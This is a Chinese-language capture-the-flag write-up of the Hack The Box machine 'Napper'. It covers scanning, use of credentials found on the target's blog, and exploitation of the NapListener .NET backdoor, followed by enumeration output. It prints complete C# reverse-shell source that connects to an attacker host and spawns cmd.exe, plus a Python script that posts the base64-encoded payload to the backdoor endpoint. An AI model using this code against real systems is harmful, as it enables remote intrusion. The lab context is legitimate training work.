HTB Napper WriteUp

Napper

2023111214:58:35

User

Nmap

?  Napper nmap -sCV -A  -p- 10.10.11.240 --min-rate 10000
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-12 13:58 CST
Nmap scan report for app.napper.htb (10.10.11.240)
Host is up (0.15s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp  open  ssl/http   Microsoft IIS httpd 10.0
|_http-generator: Hugo 0.112.3
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Research Blog | Home
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
|_ssl-date: 2023-11-12T05:59:32+00:00; 0s from scanner time.
| tls-alpn:
|_  http/1.1
7680/tcp open  pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

80和443端口,80端口跳轉到app.napper.htb ,添加hosts文件

還有一個不常見的 7680 端口

gobuster

?  ~ gobuster vhost --append-domain -u https://napper.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             https://napper.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.napper.htb Status: 401 [Size: 1293]

只有一個 internal.napper.htb 但是訪問是401 需要認證

web

在這里插入圖片描述

web的內容主要在介紹 malicious Software 分析

在這里插入圖片描述

這里拿到了密碼,basic auth的密碼

結合前面掃到的子域名

example:ExamplePassword

在這里插入圖片描述

根據文章,說web存在后門

NapListener —backdoor

Referer:https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

在這里插入圖片描述

這裏有一篇文章分析了一種新型的.net后門,大致的邏輯就是

當請求了**/ews/MsExgHealthCheckd/ 且附帶了sdafwe3rwe23 這個參數**

那么**sdafwe3rwe23** 參數的部分會先進行base64解碼,然后進行 assembly 加載 創建 Run這個類型的實例

在這里插入圖片描述

在這里插入圖片描述

可以看到當傳參數后,回顯不一樣了

Revershell

Refer:https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Simple_Rev_Shell.cs

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;namespace ConnectBack
{public class Program{static StreamWriter streamWriter;public static void Main(string[] args){using(TcpClient client = new TcpClient("ip", 443)){using(Stream stream = client.GetStream()){using(StreamReader rdr = new StreamReader(stream)){streamWriter = new StreamWriter(stream);StringBuilder strInput = new StringBuilder();Process p = new Process();p.StartInfo.FileName = "cmd.exe";p.StartInfo.CreateNoWindow = true;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardInput = true;p.StartInfo.RedirectStandardError = true;p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);p.Start();p.BeginOutputReadLine();while(true){strInput.Append(rdr.ReadLine());//strInput.Append("\n");p.StandardInput.WriteLine(strInput);strInput.Remove(0, strInput.Length);}}}}}private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)  {StringBuilder strOutput = new StringBuilder();if (!String.IsNullOrEmpty(outLine.Data)){try{strOutput.Append(outLine.Data);streamWriter.WriteLine(strOutput);streamWriter.Flush();}catch (Exception err) { }}}}
}

在這里插入圖片描述

在這里插入圖片描述

反彈失敗了!!!仔細看源代碼,調用的是Run 方法,我們這里主要的邏輯都在Main 方法里面,修改ReverseShell代碼

ConnectBack.cs

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;namespace ConnectBack
{public class Run{static StreamWriter streamWriter;public Run(){Console.WriteLine("haha!");Shell();}public static void Main(string[] args){Console.WriteLine("haha!");Shell();}public static void Shell(){using(TcpClient client = new TcpClient("ip", 443)){using(Stream stream = client.GetStream()){using(StreamReader rdr = new StreamReader(stream)){streamWriter = new StreamWriter(stream);StringBuilder strInput = new StringBuilder();Process p = new Process();p.StartInfo.FileName = "cmd.exe";p.StartInfo.CreateNoWindow = true;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardInput = true;p.StartInfo.RedirectStandardError = true;p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);p.Start();p.BeginOutputReadLine();while(true){strInput.Append(rdr.ReadLine());//strInput.Append("\n");p.StandardInput.WriteLine(strInput);strInput.Remove(0, strInput.Length);}}}}}private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)  {StringBuilder strOutput = new StringBuilder();if (!String.IsNullOrEmpty(outLine.Data)){try{strOutput.Append(outLine.Data);streamWriter.WriteLine(strOutput);streamWriter.Flush();}catch (Exception err) { }}}}
}

我測試了好久,細節就是 需要把文件名修改為 和namespace 一樣,因為

Console.WriteLine(assembly.GetName().Name + “.Run”);

exp.py

這個函數的返回值是 源文件名加.Run

import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
hosts=["napper.htb"]
payload = "<the source file compile to exe and base64 encode it>"
form_field = f"sdafwe3rwe23={requests.utils.quote(payload)}"
for h in hosts:url_ssl =  f"https://{h}/ews/MsExgHealthCheckd/"try:r_ssl = requests.post(url_ssl,data=form_field,verify=False)print(f"{url_ssl}:{r_ssl.status_code}{r_ssl.headers}")except KeyboardInterrupt:exit()except Exception as e:print(e)pass

通過這個腳本發送payload

在這里插入圖片描述

在這里插入圖片描述

成功拿到user.txt

root

Information

whoami

C:\Windows\system32>whoami /all
USER INFORMATION
----------------
User Name    SID
============ ==============================================
napper\ruben S-1-5-21-1567175541-2888103920-4161894620-1001
GROUP INFORMATION
-----------------
Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                   Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                              PRIVILEGES INFORMATION
----------------------
Privilege Name                            Description                                                        State
========================================= ================================================================== ========
SeShutdownPrivilege                       Shut down the system                                               Disabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeUndockPrivilege                         Remove computer from docking station                               Disabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
SeTimeZonePrivilege                       Change the time zone                                               Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

systeminfo

C:\inetpub>systeminfo
Host Name:                 NAPPER
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19045 N/A Build 19045
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          ruben
Registered Organization:   
Product ID:                00330-80112-18556-AA262
Original Install Date:     6/7/2023, 1:21:37 PM
System Boot Time:          11/12/2023, 2:10:59 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.16707776.B64.2008070230, 8/7/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 1,960 MB
Virtual Memory: Max Size:  4,799 MB
Virtual Memory: Available: 2,222 MB
Virtual Memory: In Use:    2,577 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.[01]: vmxnet3 Ethernet AdapterConnection Name: Ethernet0 2DHCP Enabled:    NoIP address(es)[01]: 10.10.11.240[02]: fe80::26e8:504a:67b8:bfac[03]: dead:beef::55bf:4e5d:6160:4bf7[04]: dead:beef::278a:a123:42cb:3705[05]: dead:beef::1d
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

tasklist && netstat

Process List
============PID   PPID  Name               Arch  Session  User          Path---   ----  ----               ----  -------  ----          ----0     0     [System Process]4     0     System92    4     Registry212   2760  cmd.exe            x86   0        NAPPER\ruben  C:\Windows\SysWOW64\cmd.exe308   4     smss.exe368   656   svchost.exe408   396   csrss.exe512   504   csrss.exe520   4284  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe524   1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe532   396   wininit.exe544   5508  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe580   504   winlogon.exe588   1452  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe628   656   svchost.exe632   3672  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe656   532   services.exe664   532   lsass.exe688   656   svchost.exe700   1496  powershell.exe     x64   0        NAPPER\ruben  C:\Windows\System32\WindowsPowerShell\v1.0\power  shell.exe756   5840  cmd.exe            x86   0        NAPPER\ruben  C:\Windows\SysWOW64\cmd.exe776   580   fontdrvhost.exe784   532   fontdrvhost.exe792   656   svchost.exe812   656   svchost.exe836   3016  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe860   1212  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe896   656   svchost.exe948   656   svchost.exe992   5860  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe996   580   dwm.exe1004  656   svchost.exe1040  656   svchost.exe1072  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe1076  5892  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe1088  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe1096  656   svchost.exe1136  656   SgrmBroker.exe1144  656   svchost.exe1172  656   svchost.exe1212  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe1248  656   svchost.exe1304  656   svchost.exe1312  656   svchost.exe1360  656   svchost.exe1380  656   svchost.exe1396  656   svchost.exe1444  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe1452  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe1456  4340  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe1496  656   svchost.exe1504  656   svchost.exe1516  4     Memory Compression1576  656   svchost.exe1584  656   svchost.exe1600  1444  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe1660  656   svchost.exe1708  656   svchost.exe1744  700   iisHelper.exe      x64   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\iisHelper.exe     1776  656   svchost.exe1788  656   svchost.exe1812  656   svchost.exe1900  1072  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe1908  5376  msf.exe            x64   0        NAPPER\ruben  C:\Users\ruben\Music\msf.exe1936  5716  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe1944  4260  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe1952  656   svchost.exe1960  656   svchost.exe1968  6848  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe1976  656   svchost.exe2028  656   svchost.exe2032  656   svchost.exe2104  656   svchost.exe2140  656   svchost.exe2152  4768  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe2156  656   svchost.exe2192  656   svchost.exe2232  7008  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe2260  5900  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe2300  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe2312  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe2348  4260  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe2404  5896  conhost.exe2416  656   svchost.exe2472  656   svchost.exe2480  656   svchost.exe2496  656   svchost.exe2516  656   svchost.exe2540  656   elasticsearch-service-x64.exe2592  656   svchost.exe2600  1908  frpc.exe           x64   0        NAPPER\ruben  C:\Users\ruben\Music\frpc.exe2644  2540  conhost.exe2652  2676  vm3dservice.exe2660  3488  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe2664  656   VGAuthService.exe2672  656   svchost.exe2676  656   vm3dservice.exe2696  656   vmtoolsd.exe2704  656   svchost.exe2712  656   svchost.exe2760  2312  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe2764  656   svchost.exe2788  1452  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe2792  656   svchost.exe2800  656   svchost.exe2828  5136  cmd.exe            x86   0        NAPPER\ruben  C:\Windows\SysWOW64\cmd.exe2956  524   conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe2984  656   svchost.exe3016  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe3048  656   svchost.exe3112  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe3136  2788  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe3148  656   svchost.exe3156  2300  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3180  4808  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe3196  656   svchost.exe3232  580   LogonUI.exe3260  656   svchost.exe3304  2600  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3488  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe3584  656   dllhost.exe3592  4492  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3596  1444  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3612  5324  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3672  4912  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe3692  656   svchost.exe3744  4184  cmd.exe            x86   0        NAPPER\ruben  C:\Windows\SysWOW64\cmd.exe3784  756   conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3796  524   RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe3812  2828  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe3888  656   svchost.exe3900  792   WmiPrvSE.exe3996  5968  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4032  656   svchost.exe4088  5316  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4100  656   svchost.exe4120  212   conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4148  1496  wermgr.exe4176  656   SearchIndexer.exe4184  5900  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe4260  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe4284  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe4340  1600  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe4364  5372  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4392  1088  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4396  3488  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4452  656   msdtc.exe4488  700   conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4492  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe4572  3112  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4580  4828  CONTRO~1.EXE4652  4580  conhost.exe4728  5896  wevtutil.exe4768  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe4784  5648  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4808  6568  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe4824  5376  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe4828  2540  java.exe4844  3016  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe4912  2300  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe4996  656   svchost.exe5048  5896  wevtutil.exe5096  4768  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5112  656   svchost.exe5136  1088  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5204  4844  cmd.exe            x86   0        NAPPER\ruben  C:\Windows\SysWOW64\cmd.exe5240  6608  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5256  3136  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe5316  6064  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe5324  5420  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe5372  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe5376  2348  cmd.exe            x86   0        NAPPER\ruben  C:\Windows\SysWOW64\cmd.exe5396  656   svchost.exe5420  5968  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5456  656   svchost.exe5480  1744  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe5508  5648  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5512  3180  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe5516  544   conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe5572  4492  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5624  656   svchost.exe5648  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe5664  5892  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5716  5724  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe5724  5372  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5840  1072  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5860  5096  powershell.exe     x86   0        NAPPER\ruben  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\power  shell.exe5892  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe5896  1496  powershell.exe5900  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe5912  3112  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe5968  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe6048  656   svchost.exe6064  1212  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe6088  2312  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe6340  6620  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe6428  6568  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe6508  4284  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe6568  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe6608  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe6620  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe6648  6620  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe6692  2800  w3wp.exe6700  7008  RunA.exe           x86   0        NAPPER\ruben  C:\Users\ruben\AppData\System32\RunA.exe6840  6848  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe6848  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe6996  6608  conhost.exe        x64   0        NAPPER\ruben  C:\Windows\System32\conhost.exe7008  1744  cmd.exe            x64   0        NAPPER\ruben  C:\Windows\System32\cmd.exe7060  2800  w3wp.exeActive ConnectionsProto  Local Address          Foreign Address        State           PIDTCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       896TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       4TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       4996TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       3148TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       664TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       532TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1096TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1496TCP    0.0.0.0:55667          0.0.0.0:0              LISTENING       656TCP    10.10.11.240:139       0.0.0.0:0              LISTENING       4TCP    10.10.11.240:443       10.10.14.4:54660       ESTABLISHED     4TCP    10.10.11.240:443       10.10.14.118:59558     ESTABLISHED     4TCP    10.10.11.240:51463     10.10.14.4:9999        CLOSE_WAIT      5840TCP    10.10.11.240:51464     10.10.14.4:9999        CLOSE_WAIT      5724TCP    10.10.11.240:51465     10.10.14.4:9999        CLOSE_WAIT      4912TCP    10.10.11.240:51469     10.10.14.4:9999        CLOSE_WAIT      4184TCP    10.10.11.240:51470     10.10.14.4:9999        CLOSE_WAIT      4844TCP    10.10.11.240:51474     10.10.14.4:9999        CLOSE_WAIT      2760TCP    10.10.11.240:51478     10.10.14.4:9999        CLOSE_WAIT      5136TCP    10.10.11.240:51482     10.10.14.4:9999        CLOSE_WAIT      5508TCP    10.10.11.240:51495     10.10.16.12:443        CLOSE_WAIT      5912TCP    10.10.11.240:51500     10.10.16.12:443        ESTABLISHED     2348TCP    10.10.11.240:51504     10.10.14.4:9999        CLOSE_WAIT      5860TCP    10.10.11.240:51505     10.10.14.4:9999        CLOSE_WAIT      5324TCP    127.0.0.1:9200         0.0.0.0:0              LISTENING       4828TCP    127.0.0.1:9300         0.0.0.0:0              LISTENING       4828TCP    [::]:80                [::]:0                 LISTENING       4TCP    [::]:135               [::]:0                 LISTENING       896TCP    [::]:443               [::]:0                 LISTENING       4TCP    [::]:445               [::]:0                 LISTENING       4TCP    [::]:7680              [::]:0                 LISTENING       3148TCP    [::]:49664             [::]:0                 LISTENING       664TCP    [::]:49665             [::]:0                 LISTENING       532TCP    [::]:49666             [::]:0                 LISTENING       1096TCP    [::]:49667             [::]:0                 LISTENING       1496TCP    [::]:55667             [::]:0                 LISTENING       656UDP    0.0.0.0:123            *:*                                    1788UDP    0.0.0.0:5050           *:*                                    4996UDP    0.0.0.0:5353           *:*                                    1952UDP    0.0.0.0:5355           *:*                                    1952UDP    10.10.11.240:137       *:*                                    4UDP    10.10.11.240:138       *:*                                    4UDP    10.10.11.240:1900      *:*                                    5112UDP    10.10.11.240:64970     *:*                                    5112UDP    127.0.0.1:1900         *:*                                    5112UDP    127.0.0.1:64734        *:*                                    3048UDP    127.0.0.1:64971        *:*                                    5112UDP    [::]:123               *:*                                    1788UDP    [::]:5353              *:*                                    1952UDP    [::]:5355              *:*                                    1952UDP    [::1]:1900             *:*                                    5112UDP    [::1]:64969            *:*                                    5112UDP    [fe80::26e8:504a:67b8:bfac%10]:1900  *:*                                    5112UDP    [fe80::26e8:504a:67b8:bfac%10]:64968  *:*                                    5112

機器上面沒有殺毒軟件

Program Files && Program Files (x86)

C:\Program Files>dirVolume in drive C has no label.Volume Serial Number is CB08-11BFDirectory of C:\Program Files10/29/2023  09:43 AM    <DIR>          .
10/29/2023  09:43 AM    <DIR>          ..
06/07/2023  05:39 AM    <DIR>          Common Files
06/08/2023  02:20 AM    <DIR>          elasticsearch-8.8.0
11/07/2023  06:27 AM    <DIR>          Internet Explorer
11/07/2023  05:47 AM    <DIR>          Microsoft Update Health Tools
12/07/2019  01:14 AM    <DIR>          ModifiableWindowsApps
10/29/2023  09:00 AM    <DIR>          Reference Assemblies
10/29/2023  09:43 AM    <DIR>          RUXIM
06/07/2023  05:40 AM    <DIR>          VMware
11/07/2023  06:27 AM    <DIR>          Windows Defender
11/07/2023  06:27 AM    <DIR>          Windows Defender Advanced Threat Protection
11/07/2023  06:27 AM    <DIR>          Windows Mail
12/07/2019  01:54 AM    <DIR>          Windows Multimedia Platform
12/07/2019  01:50 AM    <DIR>          Windows NT
11/07/2023  06:27 AM    <DIR>          Windows Photo Viewer
12/07/2019  01:54 AM    <DIR>          Windows Portable Devices
12/07/2019  01:31 AM    <DIR>          Windows Security
12/07/2019  01:31 AM    <DIR>          WindowsPowerShellC:\Program Files (x86)>dirVolume in drive C has no label.Volume Serial Number is CB08-11BFDirectory of C:\Program Files (x86)10/29/2023  09:00 AM    <DIR>          .
10/29/2023  09:00 AM    <DIR>          ..
12/07/2019  01:31 AM    <DIR>          Common Files
11/07/2023  06:27 AM    <DIR>          Internet Explorer
10/29/2023  09:05 AM    <DIR>          Microsoft
12/07/2019  01:31 AM    <DIR>          Microsoft.NET
10/29/2023  09:00 AM    <DIR>          Reference Assemblies
11/07/2023  06:27 AM    <DIR>          Windows Defender
11/07/2023  06:27 AM    <DIR>          Windows Mail
12/07/2019  01:54 AM    <DIR>          Windows Multimedia Platform
12/07/2019  01:50 AM    <DIR>          Windows NT
11/07/2023  06:27 AM    <DIR>          Windows Photo Viewer
12/07/2019  01:54 AM    <DIR>          Windows Portable Devices
12/07/2019  01:31 AM    <DIR>          WindowsPowerShell0 File(s)              0 bytes14 Dir(s)   2,979,516,416 bytes free

net user

c:\Program Files\elasticsearch-8.8.0>net user ruben
net user ruben
User name                    ruben
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              NeverPassword last set            6/7/2023 5:36:50 AM
Password expires             Never
Password changeable          6/7/2023 5:36:50 AM
Password required            No
User may change password     NoWorkstations allowed         All
Logon script
User profile
Home directory
Last logon                   11/12/2023 7:25:18 AMLogon hours allowed          AllLocal Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.c:\Program Files\elasticsearch-8.8.0>net user backup
net user backup
User name                    backup
Full Name                    backup
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              NeverPassword last set            11/12/2023 6:42:34 AM
Password expires             Never
Password changeable          11/12/2023 6:42:34 AM
Password required            Yes
User may change password     YesWorkstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/9/2023 4:27:07 AMLogon hours allowed          AllLocal Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.c:\Program Files\elasticsearch-8.8.0>net user Administrator
net user Administrator

看來我們只要拿到backup 權限就能提權成功

Temp

在這里插入圖片描述

在這個路徑下找到了一個 zip文件,解壓需要密碼,看著應該像是web的備份文件

在這里插入圖片描述
嘗試利用沒有成功

在這里插入圖片描述

還記得,我們掃到了一個web子域名 internal.napper.htb

meterpreter > ls -R 
Listing: C:\Temp\www\internal/archetypes
========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  84    fil   2023-06-09 15:18:40 +0800  default.mdNo entries exist in C:\Temp\www\internal/assets
Listing: C:\Temp\www\internal/content/posts/internal-laps-alpha
===============================================================Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  82        fil   2023-06-09 15:28:35 +0800  .env
100777/rwxrwxrwx  12697088  fil   2023-06-09 15:20:07 +0800  a.exeListing: C:\Temp\www\internal/content/posts
===========================================Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1755  fil   2023-06-09 15:18:40 +0800  first-re-research.md
